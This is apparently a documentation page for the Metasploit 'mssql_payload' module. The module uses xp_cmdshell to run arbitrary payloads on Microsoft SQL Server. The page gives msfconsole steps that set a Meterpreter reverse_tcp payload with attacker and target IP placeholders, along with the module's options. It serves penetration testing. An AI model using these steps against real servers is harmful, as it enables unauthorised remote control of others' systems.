Microsoft SQL Server Payload Execution

This module executes an arbitrary payload on a Microsoft SQL Server by using the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported. First, the original method uses Windows 'debug.com'. File size restrictions are avoidied by incorporating the debug bypass method presented by SecureStat at Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems. A second method takes advantage of the Command Stager subsystem. This allows using various techniques, such as using a TFTP server, to send the executable. By default the Command Stager uses 'wcsript.exe' to generate the executable on the target. Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the payload on the target. NOTE: This module will leave a payload executable on the target system when the attack is finished.

Search Other Modules

Exploit Rank

Excellent

Exploit Authors

David Kennedy "ReL1K" < kennedyd013 [at] gmail.com >
jduck < jduck [at] metasploit.com >

Vulnerability References

Exploit Targets

0 - Automatic (default)

Exploit Development

Similar Exploit Modules

Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > show payloads
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST [MY IP ADDRESS]
msf exploit(mssql_payload) > set RHOST [TARGET IP]
msf exploit(mssql_payload) > exploit

Exploit Module Options

METHOD	Which payload delivery method to use (ps, cmd, or old) (default: cmd)
PASSWORD	The password for the specified username (default: )
RHOST	The target address
RPORT	The target port (default: 1433)
USERNAME	The username to authenticate as (default: sa)
USE_WINDOWS_AUTHENT	Use windows authentification
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
ContextInformationFile	The information file that contains context information
DECODERSTUB	The VBS base64 file decoder stub to use.
DOMAIN	The domain to use for windows authentication
DisablePayloadHandler	Disable the handler code for the selected payload
EXE::Custom	Use custom exe instead of automatically generating a payload exe
EXE::FallBack	Use the default template in case the specified one is missing
EXE::Inject	Set to preserve the original EXE function
EXE::OldMethod	Set to use the substitution EXE generation method.
EXE::Path	The directory in which to look for the executable template
EXE::Template	The executable template file name.
EnableContextEncoding	Use transient context when encoding payloads
HEX2BINARY	The path to the hex2binary script on the disk
NTLM::SendLM	Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM	Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN	Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey	Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session	Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2	Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies	Use a proxy chain
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE	Enable detailed status messages
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)